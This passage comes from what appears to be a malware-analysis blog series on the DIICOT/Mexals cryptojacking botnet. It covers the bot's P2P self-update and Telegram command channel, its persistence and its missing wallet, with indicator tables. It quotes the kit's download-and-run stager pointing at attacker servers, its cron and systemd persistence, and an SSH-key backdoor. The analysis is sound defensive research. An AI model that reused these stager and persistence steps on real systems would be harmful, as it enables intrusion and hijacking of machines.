That /check is worth a pause. It's there to ask the network whether a specific address is infected. It's the tool of an operator who wants to know whether he's already inside a target before spending effort on it — or whether he's lost it. And when you ask it for its status, the bot introduces itself. This is what it answers: the status panelDIICOT-BOTNET Nodes : 1 | Cores: 4 | Miners: 0 RAM : 3.8 GB | Disk: 19.6 GB Ver : v2-update-1 There's the signature, and no antivirus or community label handed it to me: the program says its own name. It carries the family name written into its control panel, next to the count of nodes, cores and active miners — a dashboard for whoever is collecting. And it comes with a version number. v2-update-1: second generation, first update. Somebody is keeping count. 07The masterstroke: it heals itself That leaves the important command. /update doesn't download anything from outside. It does something rather more elegant: The masterstroke. With /update the operator hands a new binary around the mesh and the nodes restart. Killing the Telegram token isn't enough. The node opens its own file, splits it into more than seventeen hundred pieces and hands them around the mesh. The other nodes put them back together, keep the new version and restart themselves. There's no download server, no domain to block, not one connection to the outside: the binary travels from victim to victim. The cycle that keeps it alive. When the token falls, /update hands a new binary around over P2P and the nodes restart on a different one. And now put that together with what came before, because this is where it all fits. The Telegram bot's identifier is in plain sight of anyone who opens the sample — and Telegram cancels the ones that leak. When that happens, the channel dies. It would look like the end. It isn't, because the mesh doesn't depend on Telegram. The nodes carry on talking to each other, and the encryption on that channel uses the identifier they carry burned in as its seed: it still works as a key even once Telegram stops accepting it. The operator takes command back that way, fires an /update with a fresh build —with a fresh identifier inside— and the whole network renews itself. What this means for anyone trying to take it downThe reasonable intuition goes: you find the bot's identifier, you report it, Telegram cancels it and you've killed the botnet. Well, no. You've taken away its phone, not its network. The infected machines are still infected, still talking to each other and still mining; and the operator only needs one node he can reach in order to hand out a binary with a new phone in it. To really take this down you have to go to the nodes, one by one. There's no central plug to pull — which is exactly what it was designed this way for. Which leaves an uncomfortable question about the sample in front of me: its identifier no longer works. It's been cancelled. And in a freshly caught critter, that can mean two very different things — that the campaign is dead, or that it was renewed a while ago and this is an abandoned build. 08Indicators (IOCs) The ones from the arrival are in chapter 26. These are the command ones. TypeValue Mesh portTCP 8081 — listens and announces itself; target 2,000 connections Bootstrap neighbour91.92.47.220:8081 (NL, ASN 197170 TechTies; Shodan also lists it as a scanner) \"What's my IP\" service31.57.105.94:42 · fallbacks api4.ipify.org and ifconfig.me Command channelapi.telegram.org/bot\u0026lt;id\u0026gt;/getUpdates?offset=N\u0026amp;timeout=30 — with its own DNS resolver Bot identifier8778142498:AAE2YhxC6AB5PF8GOucHxCviYV4FA1JJnIE (already cancelled) User-Agentskema — looks like no browser at all: a good network signature Operator's number6059167279 — the only one authorised to give orders Commands/peers /connect /leader /hub /check /update Identifies itself asDIICOT-BOTNET, version v2-update-1 Peer filepeers.dat, with the seed p2p-peers-salt-v1 Miners it drivesxmrig · ccminer · nbminer · gminer · bminer · t-rex and the algorithms randomx · kawpow · etchash The cheapest detection of all: a machine that listens on 8081 and talks to arbitrary other machines over that port. A normal server doesn't do that. And if it also heads out to Telegram with an agent called skema, there's no doubt left. What wasn't doneAll of this happened inside the cage, against fake services set up right there and with addresses from the ranges reserved for documentation. The bootstrap neighbour wasn't touched, nor the attacker's service, nor the real Telegram. The orders were injected into a simulated Telegram; not one of them went out to the real network. You look at what the piece does; you don't play with somebody else's. To be continued — two loose ends are left, and both are about money. The first: how I know the identifier has been cancelled — I didn't infer it, I checked it. And the second, the one that really matters — this kit carries two miners and neither of them has the wallet to pay into. The mining config doesn't travel with the critter: it pulls it down afterwards, from somewhere you have to go and find. I went. In Chapter 28. 🍯","date":"2026-09","fam":"DIICOT","n":27,"spec":"DIICOT / Mexals — 2026 build","sum":"The kit sat still on the disk, so I switched it on myself in a cage with no way out. Inside there's a bot that insists on knowing its own address before anything else, joins a mesh of up to two thousand nodes, holds an election and crowns itself leader — and only then opens a Telegram chat. The operator never logs into any machine: he sends a message to the head of the pack. And when you burn the chat, the botnet heals itself.","t":"Only the leader talks","tags":["reverse engineering","Ghidra","botnet","P2P","Telegram","dynamic analysis"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-27/"},{"body":"This thread starts where the bot chapter left off. I already know how it gets in, what it carries inside and how it takes orders. What's left is what matters about a cryptojacker: who it pays. Spoiler, because I'd rather say it up front than have you read to the end for nothing: I didn't manage it. And the reason I didn't manage it is the best part of the chapter. How to read thisThree levels, always kept apart: seen (I checked it myself), read (a third party says so) and inferred (my interpretation). They're needed here more than ever, because the last part is about attribution — and in attribution the difference between \"it's written in the binary\" and \"the community says so\" is the whole difference there is. 01What it plants when you let it run On the decoy it never started. In the cage I did let it run, and as root, to see what really gets installed. It plants three things at once, and all three are for the same purpose: coming back. seen the triple persistence# 1 · root's cron — four entries, one of them every minute @reboot /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 \u0026amp; disown * * * * * /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 \u0026amp; disown @daily … @monthly … # 2 · a systemd service with a system-sounding name myservices.service → ExecStart=/bin/bash /usr/bin/ssshd Restart=always · RestartSec=1800 # 3 · an SSH key in root's front door /root/.ssh/authorized_keys ← ssh-rsa AAAAB3…nY3w== ElPatrono1337 Each one is worth looking at, because they're designed to fail separately. The cron revives the loader every minute. And the directory it keeps it in has an eight-character random name that changes with every infection: looking for a specific path is no good, you have to look for the shape. seen The systemd service is called myservices.service and launches something called /usr/bin/ssshd — with three esses. At a glance, in a listing, that passes for the SSH daemon. It isn't: it's the script that goes and fetches the second stage, and the service relaunches it every half hour, forever. seen And the SSH key is the quietest and the worst. If you clean out the processes, the cron job and the service, and you don't look at that file, the attacker carries on walking in the front door without a password. It's signed with a name: ElPatrono1337. We'll come back to him. And something that amused me and is worth thinking aboutIn chapter 26 I described how the attacker, the moment he got in, pasted a very long clean-up command. When I detonated the kit in the cage, that same command turned up, word for word, inside one of the modules. seen So what I had read as \"the intruder typing\" wasn't anybody typing: it was the kit running its own routine. The difference matters — there wasn't a person at the keyboard deciding, there was a list. inferred The final order of the chain comes out like this: the dropper releases the five modules, the scanner acts as conductor, moves the loader and the miner into their hiding places, plants the three persistences, and launches the loader and the bot. The two miners sit still, waiting. seen And there's the explanation for a detail in the previous chapter that I let pass without comment: when I asked the bot for its status, its panel said Miners: 0. It wasn't that the cage was getting in its way. It's that the miners didn't yet know who to pay. 02Neither of the two miners knows who to pay Here's the design finding, and it's the one that makes everything else interesting. I swept the five modules looking for anything shaped like a Monero wallet. Nothing. Not in the clear, not encrypted, not in any of the five. The XMRig it carries is stock XMRig, unconfigured: the only server written into it is the XMRig project's own, which has nothing to do with the attacker. seen So where does the config come from? Detonating the loader shows it: it doesn't start any miner. What it does is write a six-line script and run it. the stager the loader writes#!/bin/bash if curl -s --connect-timeout 15 hxxp://195.24.237.240/.x/black3; then curl -s hxxp://195.24.237.240/.x/black3 | bash else curl -s hxxp://digital.digitaldatainsights[.]org/.x/black3 | bash fi That's all of it. It pulls a file off one of the attacker's servers and hands it to the shell. The mining config —the server to connect to and the wallet to credit— lives out there, in that file, and only reaches the machine at the moment it's used. seen Why this is cleverer than encrypting the walletIn the kits I've opened before, the wallet travelled inside the binary, covered up with some home-made encryption. That has a problem for the attacker: whoever captures a single sample has his wallet forever, and with it they can see how much he earns, tie campaigns to him and follow his trail. Taking it out of the binary fixes that at a stroke. You can capture the whole critter, unpack it, deobfuscate it and read every line — and still not know who it pays. To find out you have to go and ask its server, which is exactly the move a defender can't always afford. inferred On the way through, the loader drops a silly little file at /tmp/.fontconfig/.fc-cache with eight bytes in it. It does nothing: it's a marker, so the kit knows that machine is already its own. seen 03I went looking for it The question was whether to go after that file. Downloading it means connecting to the attacker's server, and this project draws a line there: you observe, you don't touch. The way out was to do it over Tor — a network that routes the connection through several intermediate computers, so that whoever receives the request can't see where it came from. It isn't a trick for hiding from anybody: it's so that, if the attacker's server was noting down who asks it for things, it wouldn't note down any address of mine. And with a safety rule in front: if Tor failed, the request wasn't made — never in the clear. After the second stage over Tor. We went for the mining config: dead servers and a parked domain. This build's campaign is already down. The result, in two rounds: The first, against the two addresses the script carries. The main one didn't answer — tried with three different circuits, in case it was bad luck with one exit node. The backup didn't even resolve. seen The second was more interesting, because before giving up I searched the public archives that keep copies of scanned pages. It turned out that same file had once been served from more addresses than the script knows about. I tried them all, over Tor as well. One is dead. Another too. And the third answered — but what it gave back was a parking page: the sign a registrar puts up when a domain is suspended. seen It isn't that the server is down for a while. It's that the domain isn't theirs any more. A detail about how they protect themselvesThe public archives hold dozens of captures of that address. None of them is any use: what they saved is a Not found! or some arbitrary binary. The server only handed over the real script to whoever asked for it the way the critter asks — with the specific tool the stager uses. An automated scanner got fobbed off. seen It's a cheap, effective filter: it keeps the payload out of the public repositories for the whole campaign. Which is why, when the infrastructure goes down, whatever it carried, nobody has. inferred 04And the phone doesn't answer either That left the other half to check. In the previous chapter I described how the bot takes orders over a Telegram chat, and how its identifier is written inside the binary. I also said that identifier had been cancelled. Time to show how I know, because I didn't infer it. Telegram has a query whose job is to ask the platform itself whether a bot exists. It doesn't read messages, doesn't write, doesn't touch the queue of pending orders and no notice reaches its owner. It is, literally, asking whether the number gives a dial tone. the answer, twice and by different routes{\"ok\":false,\"error_code\":401,\"description\":\"Unauthorized\"} 401. The identifier is no longer valid. I repeated it with a second exit node, in case the first was blocked: same answer. And it's a clean answer from Telegram, not a network error — if the route were cut, this message wouldn't arrive. seen Where the line is, and why this stays on this side of itThe house rule is that the attacker's infrastructure doesn't get touched. And I did this anyway, so it needs explaining rather than glossing over. The difference I judged sufficient: nothing here is asked of the attacker, it's asked of Telegram — a neutral third party — whether an account is still alive. His channel isn't read, he isn't written to, his message queue isn't consumed and he isn't notified. One single read-only query, over Tor and from a machine that isn't mine. What remains off limits, and wasn't done: requesting the messages, sending an order, or touching the mesh. Publishing the identifier is one thing; using it is another. And that 401 fits with the previous chapter like a piece of a puzzle. The identifier is in plain sight of anyone who opens the sample; Telegram cancels the ones that leak; and the operator had already planned for that — there's a reason the bot knows how to hand itself around the mesh. They took away his phone, and the botnet had a plan for that. inferred 05Who's behind it, and which part I can prove This needs going slowly, because it's where a borrowed claim slips through most easily. What comes out of the binary, and therefore what I can show: the bot introduces itself as DIICOT-BOTNET in its status panel; one of the modules and its paths are called diicot; and the SSH key it plants is signed ElPatrono1337. Three things, all three inside the sample. seen What doesn't come out of the binary and I had to go and find elsewhere: that this name corresponds to a campaign known as color1337, and that the group is associated with the name Mexals, documented since 2023. That isn't in my sample: the community says so, and I'm simply repeating it with the source attached. read The tie between the one and the other is solid, though, and it isn't only the name. What those 2023 reports describe matches piece for piece what I've just dug up: the myservices.service, the /usr/bin/ssshd relaunched every half hour, the target file, the key signed the same way. It's the same kit. read inferred What has changed is what this chapter and the previous one have laid out: the same family, three years on documented (2023) this sample (2026) command Discord webhooks Telegram bot topology client → server P2P mesh with leader election binaries unobfuscated obfuscated and packed updating — handed around the mesh itself Same actor, same habits, same name on the key. Command layer rebuilt from scratch. That's what the case contributes — not discovering the actor, who has been published for years, but showing what he has turned into. inferred And a label worth not believingThe engine of a very well-known analysis service classifies the dropper as a different family —a famous P2P botnet— and it does so, I suspect, only because it sees the peer-to-peer part. read It doesn't fit anything else: that other family doesn't carry a password dictionary with Huawei@123 in it, nor the files this one leaves, nor a Telegram command channel. It's a reminder that automatic labels describe traits, not authors — and that one eye-catching trait drags the whole classification along with it. inferred 06What I can't prove Five things, and the first is the one that gives the chapter its title. The wallet. I don't have it, and I'm not going to have it with this sample. It isn't that I didn't know how to look: it isn't inside, by design, and the place it used to be no longer exists. If that file ever turns up in a public repository, this reopens. Until then it's a gap, and I'd rather write it down than fill it with a figure from somewhere else. Whether the campaign is dead or just this build. What I can state is what I've touched: this identifier is cancelled and this second stage is dismantled. About the mesh I know nothing — it could be running right now on a newer version, and I'd have no passive way of finding out. How many machines there are. The bot aims for two thousand connections, but that's an intention written in the code, not a census. Counting the mesh would mean speaking its protocol, which is authenticated — and that would be getting inside. It wasn't done. What the scanner does when it hunts for victims. I know what it is and I know what dictionary it carries. I haven't let it scan, not for a second: that would be launching brute force at third-party machines from here, and there's no result that would justify it. Exactly how the new binary gets handed around. I saw it chopped up and propagated, and I saw the nodes restart. The transfer protocol on the inside, I haven't taken apart. 07Indicators (IOCs) The arrival is in chapter 26 and the command channel in 27. These are the ones for what it plants and what it goes to fetch. TypeValue Fake servicemyservices.service → /bin/bash /usr/bin/ssshd · restart every 1,800 s Disguised file/usr/bin/ssshd — with three esses; it's the stager, not the SSH daemon Root cron@reboot · @daily · @monthly · * * * * * → /var/tmp/\u0026lt;8 hex\u0026gt;/8b8989e8 (the directory changes with every infection) SSH backdoorkey in /root/.ssh/authorized_keys with the comment ElPatrono1337 On-disk markers/tmp/.fontconfig/.fc-cache · /var/tmp/.ladyg0g0/.pr1nc35 · /var/tmp/Documents/.diicot Stager/tmp/.c — sha256 2bcc91fdedb8c583a9fe883be9ad453333a1bba0fdf655474982db3cbb8e7a74 Second stagehxxp://195.24.237.240/.x/black3 · backup hxxp://digital.digitaldatainsights[.]org/.x/black3 (both down as of 19 Sep 2026) Historic distribution52.223.13.41 (parked today) · 80.76.51.5 (dead) · test.digitaldatainsights[.]org:7777 (dead) Actor handlesElPatrono1337 · ladyg0g0 · .pr1nc35 If I had to keep three of them to watch over a fleet: a service called myservices, a file called ssshd with three esses and a cron entry that runs every minute. All three take a second to search for, and none of them has any business existing on a healthy machine. To be continued — the family has been collecting since 2021 and it hasn't stopped: it moved command from Discord to Telegram, built itself a mesh that heals itself, and took the wallet out of the critter so that nobody can follow it. Every turn it takes is another door closing on whoever is investigating. Two pieces of the kit are still not fully opened —the one that hunts for victims and the mesh protocol— and the decoy is still lit. 🍯","date":"2026-09","fam":"DIICOT","n":28,"spec":"DIICOT / Mexals — 2026 build","sum":"The two previous chapters left the kit taken apart piece by piece, and one question unanswered: who it pays. I went looking. And what I found was a design that prevents it — the mining config never travels inside the critter, it gets downloaded afterwards — and scaffolding somebody had already dismantled. This is the chase, what it does plant when you let it run, and how far what I can prove about who's behind it actually goes.","t":"The wallet that never travels","tags":["OSINT","cryptojacking","Monero","attribution","investigation"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-28/"}]